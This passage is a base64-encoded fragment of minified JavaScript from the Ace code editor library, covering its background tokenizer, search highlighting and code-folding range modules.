0ZSIse2RhdGE6bn0pfSx0aGlzLnN0YXJ0PWZ1bmN0aW9uKGUpe3RoaXMuY3VycmVudExpbmU9TWF0aC5taW4oZXx8MCx0aGlzLmN1cnJlbnRMaW5lLHRoaXMuZG9jLmdldExlbmd0aCgpKSx0aGlzLmxpbmVzLnNwbGljZSh0aGlzLmN1cnJlbnRMaW5lLHRoaXMubGluZXMubGVuZ3RoKSx0aGlzLnN0YXRlcy5zcGxpY2UodGhpcy5jdXJyZW50TGluZSx0aGlzLnN0YXRlcy5sZW5ndGgpLHRoaXMuc3RvcCgpLHRoaXMucnVubmluZz1zZXRUaW1lb3V0KHRoaXMuJHdvcmtlciw3MDApfSx0aGlzLnNjaGVkdWxlU3RhcnQ9ZnVuY3Rpb24oKXt0aGlzLnJ1bm5pbmd8fCh0aGlzLnJ1bm5pbmc9c2V0VGltZW91dCh0aGlzLiR3b3JrZXIsNzAwKSl9LHRoaXMuJHVwZGF0ZU9uQ2hhbmdlPWZ1bmN0aW9uKGUpe3ZhciB0PWUuc3RhcnQucm93LG49ZS5lbmQucm93LXQ7aWYobj09PTApdGhpcy5saW5lc1t0XT1udWxsO2Vsc2UgaWYoZS5hY3Rpb249PSJyZW1vdmUiKXRoaXMubGluZXMuc3BsaWNlKHQsbisxLG51bGwpLHRoaXMuc3RhdGVzLnNwbGljZSh0LG4rMSxudWxsKTtlbHNle3ZhciByPUFycmF5KG4rMSk7ci51bnNoaWZ0KHQsMSksdGhpcy5saW5lcy5zcGxpY2UuYXBwbHkodGhpcy5saW5lcyxyKSx0aGlzLnN0YXRlcy5zcGxpY2UuYXBwbHkodGhpcy5zdGF0ZXMscil9dGhpcy5jdXJyZW50TGluZT1NYXRoLm1pbih0LHRoaXMuY3VycmVudExpbmUsdGhpcy5kb2MuZ2V0TGVuZ3RoKCkpLHRoaXMuc3RvcCgpfSx0aGlzLnN0b3A9ZnVuY3Rpb24oKXt0aGlzLnJ1bm5pbmcmJmNsZWFyVGltZW91dCh0aGlzLnJ1bm5pbmcpLHRoaXMucnVubmluZz0hMX0sdGhpcy5nZXRUb2tlbnM9ZnVuY3Rpb24oZSl7cmV0dXJuIHRoaXMubGluZXNbZV18fHRoaXMuJHRva2VuaXplUm93KGUpfSx0aGlzLmdldFN0YXRlPWZ1bmN0aW9uKGUpe3JldHVybiB0aGlzLmN1cnJlbnRMaW5lPT1lJiZ0aGlzLiR0b2tlbml6ZVJvdyhlKSx0aGlzLnN0YXRlc1tlXXx8InN0YXJ0In0sdGhpcy4kdG9rZW5pemVSb3c9ZnVuY3Rpb24oZSl7dmFyIHQ9dGhpcy5kb2MuZ2V0TGluZShlKSxuPXRoaXMuc3RhdGVzW2UtMV0scj10aGlzLnRva2VuaXplci5nZXRMaW5lVG9rZW5zKHQsbixlKTtyZXR1cm4gdGhpcy5zdGF0ZXNbZV0rIiIhPXIuc3RhdGUrIiI/KHRoaXMuc3RhdGVzW2VdPXIuc3RhdGUsdGhpcy5saW5lc1tlKzFdPW51bGwsdGhpcy5jdXJyZW50TGluZT5lKzEmJih0aGlzLmN1cnJlbnRMaW5lPWUrMSkpOnRoaXMuY3VycmVudExpbmU9PWUmJih0aGlzLmN1cnJlbnRMaW5lPWUrMSksdGhpcy5saW5lc1tlXT1yLnRva2Vuc30sdGhpcy5jbGVhbnVwPWZ1bmN0aW9uKCl7dGhpcy5ydW5uaW5nPSExLHRoaXMubGluZXM9W10sdGhpcy5zdGF0ZXM9W10sdGhpcy5jdXJyZW50TGluZT0wLHRoaXMucmVtb3ZlQWxsTGlzdGVuZXJzKCl9fSkuY2FsbChzLnByb3RvdHlwZSksdC5CYWNrZ3JvdW5kVG9rZW5pemVyPXN9KSxkZWZpbmUoImFjZS9zZWFyY2hfaGlnaGxpZ2h0IixbInJlcXVpcmUiLCJleHBvcnRzIiwibW9kdWxlIiwiYWNlL2xpYi9sYW5nIiwiYWNlL2xpYi9vb3AiLCJhY2UvcmFuZ2UiXSxmdW5jdGlvbihlLHQsbil7InVzZSBzdHJpY3QiO3ZhciByPWUoIi4vbGliL2xhbmciKSxpPWUoIi4vbGliL29vcCIpLHM9ZSgiLi9yYW5nZSIpLlJhbmdlLG89ZnVuY3Rpb24oZSx0LG4pe3RoaXMuc2V0UmVnZXhwKGUpLHRoaXMuY2xheno9dCx0aGlzLnR5cGU9bnx8InRleHQifTsoZnVuY3Rpb24oKXt0aGlzLk1BWF9SQU5HRVM9NTAwLHRoaXMuc2V0UmVnZXhwPWZ1bmN0aW9uKGUpe2lmKHRoaXMucmVnRXhwKyIiPT1lKyIiKXJldHVybjt0aGlzLnJlZ0V4cD1lLHRoaXMuY2FjaGU9W119LHRoaXMudXBkYXRlPWZ1bmN0aW9uKGUsdCxuLGkpe2lmKCF0aGlzLnJlZ0V4cClyZXR1cm47dmFyIG89aS5maXJzdFJvdyx1PWkubGFzdFJvdyxhPXt9O2Zvcih2YXIgZj1vO2Y8PXU7ZisrKXt2YXIgbD10aGlzLmNhY2hlW2ZdO2w9PW51bGwmJihsPXIuZ2V0TWF0Y2hPZmZzZXRzKG4uZ2V0TGluZShmKSx0aGlzLnJlZ0V4cCksbC5sZW5ndGg+dGhpcy5NQVhfUkFOR0VTJiYobD1sLnNsaWNlKDAsdGhpcy5NQVhfUkFOR0VTKSksbD1sLm1hcChmdW5jdGlvbihlKXtyZXR1cm4gbmV3IHMoZixlLm9mZnNldCxmLGUub2Zmc2V0K2UubGVuZ3RoKX0pLHRoaXMuY2FjaGVbZl09bC5sZW5ndGg/bDoiIik7Zm9yKHZhciBjPWwubGVuZ3RoO2MtLTspe3ZhciBoPWxbY10udG9TY3JlZW5SYW5nZShuKSxwPWgudG9TdHJpbmcoKTtpZihhW3BdKWNvbnRpbnVlO2FbcF09ITAsdC5kcmF3U2luZ2xlTGluZU1hcmtlcihlLGgsdGhpcy5jbGF6eixpKX19fX0pLmNhbGwoby5wcm90b3R5cGUpLHQuU2VhcmNoSGlnaGxpZ2h0PW99KSxkZWZpbmUoImFjZS9lZGl0X3Nlc3Npb24vZm9sZF9saW5lIixbInJlcXVpcmUiLCJleHBvcnRzIiwibW9kdWxlIiwiYWNlL3JhbmdlIl0sZnVuY3Rpb24oZSx0LG4peyJ1c2Ugc3RyaWN0IjtmdW5jdGlvbiBpKGUsdCl7dGhpcy5mb2xkRGF0YT1lLEFycmF5LmlzQXJyYXkodCk/dGhpcy5mb2xkcz10OnQ9dGhpcy5mb2xkcz1bdF07dmFyIG49dFt0Lmxlbmd0aC0xXTt0aGlzLnJhbmdlPW5ldyByKHRbMF0uc3RhcnQucm93LHRbMF0uc3RhcnQuY29sdW1uLG4uZW5kLnJvdyxuLmVuZC5jb2x1bW4pLHRoaXMuc3RhcnQ9dGhpcy5yYW5nZS5zdGFydCx0aGlzLmVuZD10aGlzLnJhbmdlLmVuZCx0aGlzLmZvbGRzLmZvckVhY2goZnVuY3Rpb24oZSl7ZS5zZXRGb2xkTGluZSh0aGlzKX0sdGhpcyl9dmFyIHI9ZSgiLi4vcmFuZ2UiKS5SYW5nZTsoZnVuY3Rpb24oKXt0aGlzLnNoaWZ0Um93PWZ1bmN0aW9uKGUpe3RoaXMuc3RhcnQucm93Kz1lLHRoaXMuZW5kLnJvdys9ZSx0aGlzLmZvbGRzLmZvckVhY2goZnVuY3Rpb24odCl7dC5zdGFydC5yb3crPWUsdC5lbmQucm93Kz1lfSl9LHRoaXMuYWRkRm9sZD1mdW5jdGlvbihlKXtpZihlLnNhbWVSb3cpe2lmKGUuc3RhcnQucm93PHRoaXMuc3RhcnRSb3d8fGUuZW5kUm93PnRoaXMuZW5kUm93KXRocm93IG5ldyBFcnJvcigiQ2FuJ3QgYWRkIGEgZm9sZCB0byB0aGlzIEZvbGRMaW5lIGFzIGl0IGhhcyBubyBjb25uZWN0aW9uIik7dGhpcy5mb2xkcy5wdXNoKGUpLHRoaXMuZm9sZHMuc29ydChmdW5jdGlvbihlLHQpe3JldHVybi1lLnJhbmdlLmNvbXBhcmVFbmQodC5zdGFydC5yb3csdC5zdGFydC5jb2x1bW4pfSksdGhpcy5yYW5nZS5jb21wYXJlRW5kKGUuc3RhcnQucm93LGUuc3RhcnQuY29sdW1uKT4wPyh0aGlzLmVuZC5yb3c9ZS5lbmQucm93LHRoaXMuZW5kLmNvbHVtbj1lLmVuZC5jb2x1bW4pOnRoaXMucmFuZ2UuY29tcGFyZVN0YXJ0KGUuZW5kLnJvdyxlLmVuZC5jb2x1bW4pPDAmJih0aGlzLnN0YXJ0LnJvdz1lLnN0YXJ0LnJvdyx0aGlzLnN0YXJ0LmNvbHVtbj1lLnN0YXJ0LmNvbHVtbil9ZWxzZSBpZihlLnN0YXJ0LnJvdz09dGhpcy5lbmQucm93KXRoaXMuZm9sZHMucHVzaChlKSx0aGlzLmVuZC5yb3c9ZS5lbmQucm93LHRoaXMuZW5kLmNvbHVtbj1lLmVuZC5jb2x1bW47ZWxzZXtpZihlLmVuZC5yb3chPXRoaXMuc3RhcnQucm93KXRocm93IG5ldyBFcnJvcigiVHJ5aW5nIHRvIGFkZCBmb2xkIHRvIEZvbGRSb3cgdGhhdCBkb2Vzbid0IGhhdmUgYSBtYXRjaGluZyByb3ciKTt0aGlzLmZvbGRzLnVuc2hpZnQoZSksdGhpcy5zdGFydC5yb3c9ZS5zdGFydC5yb3csdGhpcy5zdGFydC5jb2x1bW49ZS5zdGFydC5jb2x1bW59ZS5mb2xkTGluZT10aGlzfSx0aGlzLmNvbnRhaW5zUm93PWZ1bmN0aW9uKGUpe3JldHVybiBlPj10aGlzLnN0YXJ0LnJvdyYmZTw9dGhpcy5lbmQucm93fSx0aGlzLndhbGs9ZnVuY3Rpb24oZSx0LG4pe3ZhciByPTAsaT10aGlzLmZvbGRzLHMsbyx1LGE9ITA7dD09bnVsbCYmKHQ9dGhpcy5lbmQucm93LG49dGhpcy5lbmQuY29sdW1uKTtmb3IodmFyIGY9MDtmPGkubGVuZ3RoO2YrKyl7cz1pW2ZdLG89cy5yYW5nZS5jb21wYXJlU3RhcnQodCxuKTtpZihvPT0tMSl7ZShudWxsLHQsbixyLGEpO3JldHVybn11PWUobnVsbCxzLnN0YXJ0LnJvdyxzLnN0YXJ0LmNvbHVtbixyLGEpLHU9IXUmJmUocy5wbGFjZWhvbGRlcixzLnN0YXJ0LnJvdyxzLnN0YXJ0LmNvbHVtbixyKTtpZih1fHxvPT09MClyZXR1cm47YT0hcy5zYW1lUm93LHI9cy5lbmQuY29sdW1ufWUobnVsbCx0LG4scixhKX0sdGhpcy5nZXROZXh0Rm9sZFRvPWZ1bmN0aW9uKGUsdCl7dmFyIG4scjtmb3IodmFyIGk9MDtpPHRoaXMuZm9sZHMubGVuZ3RoO2krKyl7bj10aGlzLmZvbGRzW2ldLHI9bi5yYW5nZS5jb21wYXJlRW5kKGUsdCk7aWYocj09LTEpcmV0dXJue2ZvbGQ6bixraW5kOiJhZnRlciJ9O2lmKHI9PT0wKXJldHVybntmb2xkOm4sa2luZDoiaW5zaWRlIn19cmV0dXJuIG51bGx9LHRoaXMuYWRkUmVtb3ZlQ2hhcnM9ZnVuY3Rpb24oZSx0LG4pe3ZhciByPXRoaXMuZ2V0TmV4dEZvbGRUbyhlLHQpLGkscztpZihyKXtpPXIuZm9sZDtpZihyLmtpbmQ9PSJpbnNpZGUiJiZpLnN0YXJ0LmNvbHVtbiE9dCYmaS5zdGFydC5yb3chPWUpd2luZG93LmNvbnNvbGUmJndpbmRvdy5jb25zb2xlLmxvZyhlLHQsaSk7ZWxzZSBpZihpLnN0YXJ0LnJvdz09ZSl7cz10aGlzLmZvbGRzO3ZhciBvPXMuaW5kZXhPZihpKTtvPT09MCYmKHRoaXMuc3RhcnQuY29sdW1uKz1uKTtmb3IobztvPHMubGVuZ3RoO28rKyl7aT1zW29dLGkuc3RhcnQuY29sdW1uKz1uO2lmKCFpLnNhbWVSb3cpcmV0dXJuO2kuZW5kLmNvbHVtbis9bn10aGlzLmVuZC5jb2x1bW4rPW59fX0sdGhpcy5zcGxpdD1mdW5jdGlvbihlLHQpe3ZhciBuPXRoaXMuZ2V0TmV4dEZvbGRUbyhlLHQpO2lmKCFufHxuLmtpbmQ9PSJpbnNpZGUiKXJldHVybiBudWxsO3ZhciByPW4uZm9sZCxzPXRoaXMuZm9sZHMsbz10aGlzLmZvbGREYXRhLHU9cy5pbmRleE9mKHIpLGE9c1t1LTFdO3RoaXMuZW5kLnJvdz1hLmVuZC5yb3csdGhpcy5lbmQuY29sdW1uPWEuZW5kLmNvbHVtbixzPXMuc3BsaWNlKHUscy5sZW5ndGgtdSk7dmFyIGY9bmV3IGkobyxzKTtyZXR1cm4gby5zcGxpY2Uoby5pbmRleE9mKHRoaXMpKzEsMCxmKSxmfSx0aGlzLm1lcmdlPWZ1bmN0aW9uKGUpe3ZhciB0PWUuZm9sZHM7Zm9yKHZhciBuPTA7bjx0Lmxlbmd0aDtuKyspdGhpcy5hZGRGb2xkKHRbbl0pO3ZhciByPXRoaXMuZm9sZERhdGE7ci5zcGxpY2Uoci5pbmRleE9mKGUpLDEpfSx0aGlzLnRvU3RyaW5nPWZ1bmN0aW9uKCl7dmFyIGU9W3RoaXMucmFuZ2UudG9TdHJpbmcoKSsiOiBbIl07cmV0dXJuIHRoaXMuZm9sZHMuZm9yRWFjaChmdW5jdGlvbih0KXtlLnB1c2goIiAgIit0LnRvU3RyaW5nKCkpfSksZS5wdXNoKCJdIiksZS5qb2luKCJcbiIpfSx0aGlzLmlkeFRvUG9zaXRpb249ZnVuY3Rpb24oZSl7dmFyIHQ9MDtmb3IodmFyIG49MDtuPHRoaXMuZm9sZHMubGVuZ3RoO24rKyl7dmFyIHI9dGhpcy5mb2xkc1tuXTtlLT1yLnN0YXJ0LmNvbHVtbi10O2lmKGU8MClyZXR1cm57cm93OnIuc3RhcnQucm93LGNvbHVtbjpyLnN0YXJ0LmNvbHVtbitlfTtlLT1yLnBsYWNlaG9sZGVyLmxlbmd0aDtpZihlPDApcmV0dXJuIHIuc3RhcnQ7dD1yLmVuZC5jb2x1bW59cmV0dXJue3Jvdzp0aGlzLmVuZC5yb3csY29sdW1uOnRoaXMuZW5kLmNvbHVtbitlfX19KS5jYWxsKGkucHJvdG90eXBlKSx0LkZvbGRMaW5lPWl9KSxkZWZpbmUoImFjZS9yYW5nZV9saXN0IixbInJlcXVpcmUiLCJleHBvcnRzIiwibW9kdWxlIiwiYWNlL3JhbmdlIl0sZnVuY3Rpb24oZSx0LG4peyJ1c2Ugc3RyaWN0Ijt2YXIgcj1lKCIuL3JhbmdlIikuUmFuZ2UsaT1yLmNvbXBhcmVQb2ludHMscz1mdW5jdGlvbigpe3RoaXMucmFuZ2VzPVtdLHRoaXMuJGJpYXM9MX07KGZ1bmN0aW9uKCl7dGhpcy5jb21wYXJlUG9pbnRzPWksdGhpcy5wb2ludEluZGV4PWZ1bmN0aW9uKGUsdCxuKXt2YXIgcj10aGlzLnJhbmdlcztmb3IodmFyIHM9bnx8MDtzPHIubGVuZ3RoO3MrKyl7dmFyIG89cltzXSx1PWkoZSxvLmVuZCk7aWYodT4wKWNvbnRpbnVlO3ZhciBhPWkoZSxvLnN0YXJ0KTtyZXR1cm4gdT09PTA/dCYmYSE9PTA/LXMtMjpzOmE+MHx8YT09PTAmJiF0P3M6LXMtMX1yZXR1cm4tcy0xfSx0aGlzLmFkZD1mdW5jdGlvbihlKXt2YXIgdD0hZS5pc0VtcHR5KCksbj10aGlzLnBvaW50SW5kZXgoZS5zdGFydCx0KTtuPDAmJihuPS1uLTEpO3ZhciByPXRoaXMucG9pbnRJbmRleChlLmVuZCx0LG4pO3JldHVybiByPDA/cj0tci0xOnIrKyx0aGlzLnJhbmdlcy5zcGxpY2UobixyLW4sZSl9LHRoaXMuYWRkTGlzdD1mdW5jdGlvbihlKXt2YXIgdD1bXTtmb3IodmFyIG49ZS5sZW5ndGg7bi0tOyl0LnB1c2guYXBwbHkodCx0aGlzLmFkZChlW25dKSk7cmV0dXJuIHR9LHRoaXMuc3Vic3RyYWN0UG9pbnQ9ZnVuY3Rpb24oZSl7dmFyIHQ9dGhpcy5wb2ludEluZGV4KGUpO2lmKHQ+PTApcmV0dXJuIHRoaXMucmFuZ2VzLnNwbGljZSh0LDEpfSx0aGlzLm1lcmdlPWZ1bmN0aW9uKCl7dmFyIGU9W10sdD10aGlzLnJhbmdlczt0PXQuc29ydChmdW5jdGlvbihlLHQpe3JldHVybiBpKGUuc3RhcnQsdC5zdGFydCl9KTt2YXIgbj10WzBdLHI7Zm9yKHZhciBzPTE7czx0Lmxlbmd0aDtzKyspe3I9bixuPXRbc107dmFyIG89aShyLmVuZCxuLnN0YXJ0KTtpZihvPDApY29udGludWU7aWYobz09MCYmIXIuaXNFbXB0eSgpJiYhbi5pc0VtcHR5KCkpY29udGludWU7aShyLmVuZCxuLmVuZCk8MCYmKHIuZW5kLnJvdz1uLmVuZC5yb3csci5lbmQuY29sdW1uPW4uZW5kLmNvbHVtbiksdC5zcGxpY2UocywxKSxlLnB1c2gobiksbj1yLHMtLX1yZXR1cm4gdGhpcy5yYW5nZXM9dCxlfSx0aGlzLmNvbnRhaW5zPWZ1bmN0aW9uKGUsdCl7cmV0dXJuIHRoaXMucG9pbnRJbmRleCh7cm93OmUsY29sdW1uOnR9KT49MH0sdGhpcy5jb250YWluc1BvaW50PWZ1bmN0aW9uKGUpe3JldHVybiB0aGlzLnBvaW50SW5kZXgoZSk+PTB9LHRoaXMucmFuZ2VBdFBvaW50PWZ1bmN0aW9uKGUpe3ZhciB0PXRoaXMucG9pbnRJbmRleChlKTtpZih0Pj0wKXJldHVybiB0aGlzLnJhbmdlc1t0XX0sdGhpcy5jbGlwUm93cz1mdW5jdGlvbihlLHQpe3ZhciBuPXRoaXMucmFuZ2VzO2lmKG5bMF0uc3RhcnQucm93PnR8fG5bbi5sZW5ndGgtMV0uc3RhcnQucm93PGUpcmV0dXJuW107dmFyIHI9dGhpcy5wb2ludEluZGV4KHtyb3c6ZSxjb2x1bW46MH0pO3I8MCYmKHI9LXItMSk7dmFyIGk9dGhpcy5wb2ludEluZGV4KHtyb3c6dCxjb2x1bW46MH0scik7aTwwJiYoaT0taS0xKTt2YXIgcz1bXTtmb3IodmFyIG89cjtvPGk7bysrKXMucHVzaChuW29dKTtyZXR1cm4gc30sdGhpcy5yZW1vdmVBbGw9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5yYW5nZXMuc3BsaWNlKDAsdGhpcy5yYW5nZXMubGVuZ3RoKX0sdGhpcy5hdHRhY2g9ZnVuY3Rpb24oZSl7dGhpcy5zZXNzaW9uJiZ0aGlzLmRldGFjaCgpLHRoaXMuc2Vzc2lvbj1lLHRoaXMub25DaGFuZ2U9dGhpcy4kb25DaGFuZ2UuYmluZCh0aGlzKSx0aGlzLnNlc3Npb24ub24oImNoYW5nZSIsdGhpcy5vbkNoYW5nZSl9LHRoaXMuZGV0YWNoPWZ1bmN0aW9uKCl7aWYoIXRoaXMuc2Vzc2lvbilyZXR1cm47dGhpcy5zZXNzaW9uLnJlbW92ZUxpc3RlbmVyKCJjaGFuZ2UiLHRoaXMub25DaGFuZ2UpLHRoaXMuc2Vzc2lvbj1udWxsfSx0aGlzLiRvbkNoYW5nZT1mdW5jdGlvbihlKXt2YXIgdD1lLnN0YXJ0LG49ZS5lbmQscj10LnJvdyxpPW4ucm93LHM9dGhpcy5yYW5nZXM7Zm9yKHZhciBvPTAsdT1zLmxlbmd0aDtvPHU7bysrKXt2YXIgYT1zW29dO2lmKGEuZW5kLnJvdz49cilicmVha31pZihlLmFjdGlvbj09Imluc2VydCIpe3ZhciBmPWktcixsPS10LmNvbHVtbituLmNvbHVtbjtmb3IoO288dTtvKyspe3ZhciBhPXNbb107aWYoYS5zdGFydC5yb3c+cilicmVhazthLnN0YXJ0LnJvdz09ciYmYS5zdGFydC5jb2x1bW4+PXQuY29sdW1uJiYoYS5zdGFydC5jb2x1bW49PXQuY29sdW1uJiZ0aGlzLiRiaWFzPD0wfHwoYS5zdGFydC5jb2x1bW4rPWwsYS5zdGFydC5yb3crPWYpKTtpZihhLmVuZC5yb3c9PXImJmEuZW5kLmNvbHVtbj49dC5jb2x1bW4pe2lmKGEuZW5kLmNvbHVtbj09dC5jb2x1bW4mJnRoaXMuJGJpYXM8MCljb250aW51ZTthLmVuZC5jb2x1bW49PXQuY29sdW1uJiZsPjAmJm88dS0xJiZhLmVuZC5jb2x1bW4+YS5zdGFydC5jb2x1bW4mJmEuZW5kLmNvbHVtbj09c1tvKzFdLnN0YXJ0LmNvbHVtbiYmKGEuZW5kLmNvbHVtbi09bCksYS5lbmQuY29sdW1uKz1sLGEuZW5kLnJvdys9Zn19fWVsc2V7dmFyIGY9ci1pLGw9dC5jb2x1bW4tbi5jb2x1bW47Zm9yKDtvPHU7bysrKXt2YXIgYT1zW29dO2lmKGEuc3RhcnQucm93PmkpYnJlYWs7aWYoYS5lbmQucm93PGkmJihyPGEuZW5kLnJvd3x8cj09YS5lbmQucm93JiZ0LmNvbHVtbjxhLmVuZC5jb2x1bW4pKWEuZW5kLnJvdz1yLGEuZW5kLmNvbHVtbj10LmNvbHVtbjtlbHNlIGlmKGEuZW5kLnJvdz09aSlpZihhLmVuZC5jb2x1bW48PW4uY29sdW1uKXtpZihmfHxhLmVuZC5jb2x1bW4+dC5jb2x1bW4pYS5lbmQuY29sdW1uPXQuY29sdW1uLGEuZW5kLnJvdz10LnJvd31lbHNlIGEuZW5kLmNvbHVtbis9bCxhLmVuZC5yb3crPWY7ZWxzZSBhLmVuZC5yb3c+aSYmKGEuZW5kLnJvdys9Zik7aWYoYS5zdGFydC5yb3c8aSYmKHI8YS5zdGFydC5yb3d8fHI9PWEuc3RhcnQucm93JiZ0LmNvbHVtbjxhLnN0YXJ0LmNvbHVtbikpYS5zdGFydC5yb3c9cixhLnN0YXJ0LmNvbHVtbj10LmNvbHVtbjtlbHNlIGlmKGEuc3RhcnQucm93PT1pKWlmKGEuc3RhcnQuY29sdW1uPD1uLmNvbHVtbil7aWYoZnx8YS5zdGFydC5jb2x1bW4+dC5jb2x1bW4pYS5zdGFydC5jb2x1bW49dC5jb2x1bW4sYS5zdGFydC5yb3c9dC5yb3d9ZWxzZSBhLnN0YXJ0LmNvbHVtbis9bCxhLnN0YXJ0LnJvdys9ZjtlbHNlIGEuc3RhcnQucm93PmkmJihhLnN0YXJ0LnJvdys9Zil9fWlmKGYhPTAmJm88dSlmb3IoO288dTtvKyspe3ZhciBhPXNbb107YS5zdGFydC5yb3crPWYsYS5lbmQucm93Kz1mfX19KS5jYWxsKHMucHJvdG90eXBlKSx0LlJhbmdlTGlzdD1zfSksZGVmaW5lKCJhY2UvZWRpdF9zZXNzaW9uL2ZvbGQiLFsicmVxdWlyZSIsImV4cG9ydHMiLCJtb2R1bGUiLCJhY2UvcmFuZ2VfbGlzdCIsImFjZS9saWIvb29wIl0sZnVuY3Rpb24oZSx0LG4peyJ1c2Ugc3RyaWN0IjtmdW5jdGlvbiBvKGUsdCl7ZS5yb3ctPXQucm93LGUucm93PT0wJiYoZS5jb2x1bW4tPXQuY29sdW1uKX1mdW5jdGlvbiB1KGUsdCl7byhlLnN0YXJ0LHQpLG8oZS5lbmQsdCl9ZnVuY3Rpb24gYShlLHQpe2Uucm93PT0wJiYoZS5jb2x1bW4rPXQuY29sdW1uKSxlLnJvdys9dC5yb3d9ZnVuY3Rpb24gZihlLHQpe2EoZS5zdGFydCx0KSxhKGUuZW5kLHQpfXZhciByPWUoIi4uL3JhbmdlX2xpc3QiKS5SYW5nZUxpc3QsaT1lKCIuLi9saWIvb29wIikscz10LkZvbGQ9ZnVuY3Rpb24oZSx0KXt0aGlzLmZvbGRMaW5lPW51bGwsdGhpcy5wbGFjZWhvbGRlcj10LHRoaXMucmFuZ2U9ZSx0aGlzLnN0YXJ0PWUuc3RhcnQsdGhpcy5lbmQ9ZS5lbmQsdGhpcy5zYW1lUm93PWUuc3RhcnQucm93PT1lLmVuZC5yb3csdGhpcy5zdWJGb2xkcz10aGlzLnJhbmdlcz1bXX07aS5pbmhlcml0cyhzLHIpLGZ1bmN0aW9uKCl7dGhpcy50b1N0cmluZz1mdW5jdGlvbigpe3JldHVybiciJyt0aGlzLnBsYWNlaG9sZGVyKyciICcrdGhpcy5yYW5nZS50b1N0cmluZygpfSx0aGlzLnNldEZvbGRMaW5lPWZ1bmN0aW9uKGUpe3RoaXMuZm9sZExpbmU9ZSx0aGlzLnN1YkZvbGRzLmZvckVhY2goZnVuY3Rpb24odCl7dC5zZXRGb2xkTGluZShlKX0pfSx0aGlzLmNsb25lPWZ1bmN0aW9uKCl7dmFyIGU9dGhpcy5yYW5nZS5jbG9uZSgpLHQ9bmV3IHMoZSx0aGlzLnBsYWNlaG9sZGVyKTtyZXR1cm4gdGhpcy5zdWJGb2xkcy5mb3JFYWNoKGZ1bmN0aW9uKGUpe3Quc3ViRm9sZHMucHVzaChlLmNsb25lKCkpfSksdC5jb2xsYXBzZUNoaWxkcmVuPXRoaXMuY29sbGFwc2VDaGlsZHJlbix0fSx0aGlzLmFkZFN1YkZvbGQ9ZnVuY3Rpb24oZSl7aWYodGhpcy5yYW5nZS5pc0VxdWFsKGUpKXJldHVybjt1KGUsdGhpcy5zdGFydCk7dmFyIHQ9ZS5zdGFydC5yb3csbj1lLnN0YXJ0LmNvbHVtbjtmb3IodmFyIHI9MCxpPS0xO3I8dGhpcy5zdWJGb2xkcy5sZW5ndGg7cisrKXtpPXRoaXMuc3ViRm9sZHNbcl0ucmFuZ2UuY29tcGFyZSh0LG4pO2lmKGkhPTEpYnJlYWt9dmFyIHM9dGhpcy5zdWJGb2xkc1tyXSxvPTA7aWYoaT09MCl7aWYocy5yYW5nZS5jb250YWluc1JhbmdlKGUpKXJldHVybiBzLmFkZFN1YkZvbGQoZSk7bz0xfXZhciB0PWUucmFuZ2UuZW5kLnJvdyxuPWUucmFuZ2UuZW5kLmNvbHVtbjtmb3IodmFyIGE9cixpPS0xO2E8dGhpcy5zdWJGb2xkcy5sZW5ndGg7YSsrKXtpPXRoaXMuc3ViRm9sZHNbYV0ucmFuZ2UuY29tcGFyZSh0LG4pO2lmKGkhPTEpYnJlYWt9aT09MCYmYSsrO3ZhciBmPXRoaXMuc3ViRm9sZHMuc3BsaWNlKHIsYS1yLGUpLGw9aT09MD9mLmxlbmd0aC0xOmYubGVuZ3RoO2Zvcih2YXIgYz1vO2M8bDtjKyspZS5hZGRTdWJGb2xkKGZbY10pO3JldHVybiBlLnNldEZvbGRMaW5lKHRoaXMuZm9sZExpbmUpLGV9LHRoaXMucmVzdG9yZVJhbmdlPWZ1bmN0aW9uKGUpe3JldHVybiBmKGUsdGhpcy5zdGFydCl9fS5jYWxsKHMucHJvdG90eXBlKX0pLGRlZmluZSgiYWNlL2VkaXRfc2Vzc2lvbi9mb2xkaW5nIixbInJlcXVpcmUiLCJleHBvcnRzIiwibW9kdWxlIiwiYWNlL3JhbmdlIiwiYWNlL2VkaXRfc2Vzc2lvbi9mb2xkX2xpbmUiLCJhY2UvZWRpdF9zZXNzaW9uL2ZvbGQiLCJhY2UvdG9rZW5faXRlcmF0b3IiXSxmdW5jdGlvbihlLHQsbil7InVzZSBzdHJpY3QiO2Z1bmN0aW9uIHUoKXt0aGlzLmdldEZvbGRBdD1mdW5jdGlvbihlLHQsbil7dmFyIHI9dGhpcy5nZXRGb2xkTGluZShlKTtpZighcilyZXR1cm4gbnVsbDt2YXIgaT1yLmZvbGRzO2Zvcih2YXIgcz0wO3M8aS5sZW5ndGg7cysrKXt2YXIgbz1pW3NdLnJhbmdlO2lmKG8uY29udGFpbnMoZSx0KSl7aWYobj09MSYmby5pc0VuZChlLHQpJiYhby5pc0VtcHR5KCkpY29udGludWU7aWYobj09LTEmJm8uaXNTdGFydChlLHQpJiYhby5pc0VtcHR5KCkpY29udGludWU7cmV0dXJuIGlbc119fX0sdGhpcy5nZXRGb2xkc0luUmFuZ2U9ZnVuY3Rpb24oZSl7dmFyIHQ9ZS5zdGFydCxuPWUuZW5kLHI9dGhpcy4kZm9sZERhdGEsaT1bXTt0LmNvbHVtbis9MSxuLmNvbHVtbi09MTtmb3IodmFyIHM9MDtzPHIubGVuZ3RoO3MrKyl7dmFyIG89cltzXS5yYW5nZS5jb21wYXJlUmFuZ2UoZSk7aWYobz09Miljb250aW51ZTtpZihvPT0tMilicmVhazt2YXIgdT1yW3NdLmZvbGRzO2Zvcih2YXIgYT0wO2E8dS5sZW5ndGg7YSsrKXt2YXIgZj11W2FdO289Zi5yYW5nZS5jb21wYXJlUmFuZ2UoZSk7aWYobz09LTIpYnJlYWs7aWYobz09Miljb250aW51ZTtpZihvPT00MilicmVhaztpLnB1c2goZil9fXJldHVybiB0LmNvbHVtbi09MSxuLmNvbHVtbis9MSxpfSx0aGlzLmdldEZvbGRzSW5SYW5nZUxpc3Q9ZnVuY3Rpb24oZSl7aWYoQXJyYXkuaXNBcnJheShlKSl7dmFyIHQ9W107ZS5mb3JFYWNoKGZ1bmN0aW9uKGUpe3Q9dC5jb25jYXQodGhpcy5nZXRGb2xkc0luUmFuZ2UoZSkpfSx0aGlzKX1lbHNlIHZhciB0PXRoaXMuZ2V0Rm9sZHNJblJhbmdlKGUpO3JldHVybiB0fSx0aGlzLmdldEFsbEZvbGRzPWZ1bmN0aW9uKCl7dmFyIGU9W10sdD10aGlzLiRmb2xkRGF0YTtmb3IodmFyIG49MDtuPHQubGVuZ3RoO24rKylmb3IodmFyIHI9MDtyPHRbbl0uZm9sZHMubGVuZ3RoO3IrKyllLnB1c2godFtuXS5mb2xkc1tyXSk7cmV0dXJuIGV9LHRoaXMu